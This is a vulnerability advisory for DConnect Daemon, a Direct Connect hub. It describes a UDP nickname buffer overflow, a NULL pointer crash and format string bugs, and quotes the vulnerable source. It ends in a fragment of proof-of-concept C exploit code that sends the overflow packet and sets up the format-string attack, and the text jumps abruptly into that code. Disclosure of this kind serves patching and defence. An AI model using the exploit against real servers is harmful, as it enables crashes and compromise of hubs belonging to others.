DConnect Daemon is "a Direct Connect's hub working as daemon". Multiple vulnerabilities have been found in DConnect Daemon allowing remote attackers to overflow an internal buffer, cause a NULL pointer to be used, and attack using a format string various functions.
Vulnerable Systems:
* DConnect Daemon version 0.7.0 and prior
* DConnect Daemon CVS 30 Jul 2006 and prior
A] listen_thread_udp buffer-overflow
The main function which handles the UDP packets is affected by a buffer-overflow vulnerability which happens when a nickname longer than 32 (NICK_LEN) chars is received. The UDP port is disabled by default, the min_slots parameter in dcd.conf must be enabled for using this service.
B] dc_chat NULL pointer
The dc_chat function used for handling the messages received from the clients leads to a crash caused by usr->nick which points to NULL if the client has not sent its nickname yet (so it's enough to send a message as first command for exploiting this bug).
From cmd.dc.c: void dc_chat(dc_param_t *param)
{
userrec_t *usr = param->usr;
...
if (strcmp(cmd,usr->nick))
...
C] Various format string bugs (privileges needed)
privmsg and pubmsg are two functions used to send messages to one or more users. Both the functions require a format argument (like printf) which is missed in some parts of the code. These format string vulnerabilities can be exploited only if the attacker has superior user or administrator privileges.
From cmd.user.c: void chat_msg(chat_param_t *param)
...
if (user[n]!=usr) pubmsg(user[n],msg);
...
len = sprintf(buff,
"$SR nickname%0*u filename" "\x05" "3/9",
BOFSZ,
seed);
printf(
"- send buffer-overflow packet (%d bytes for a buffer of 32)\n"
" Note that the min_slots parameter in the server must be enabled\n",
BOFSZ);
if(sendto(sd, buff, len, 0, (struct sockaddr *)&peer, sizeof(peer))
< 0) std_err();
if(attack == 3) {
printf("- insert the nickanme of the superior user or the administrator:\n ");
fflush(stdin);
fgets(nick, sizeof(nick), stdin);
delimit(nick);
printf("- insert the nickname of another user from the list below:\n");
show_dc_users(buff, nick);
printf(" ");
fflush(stdin);
fgets(dnick, sizeof(dnick), stdin);
delimit(dnick);
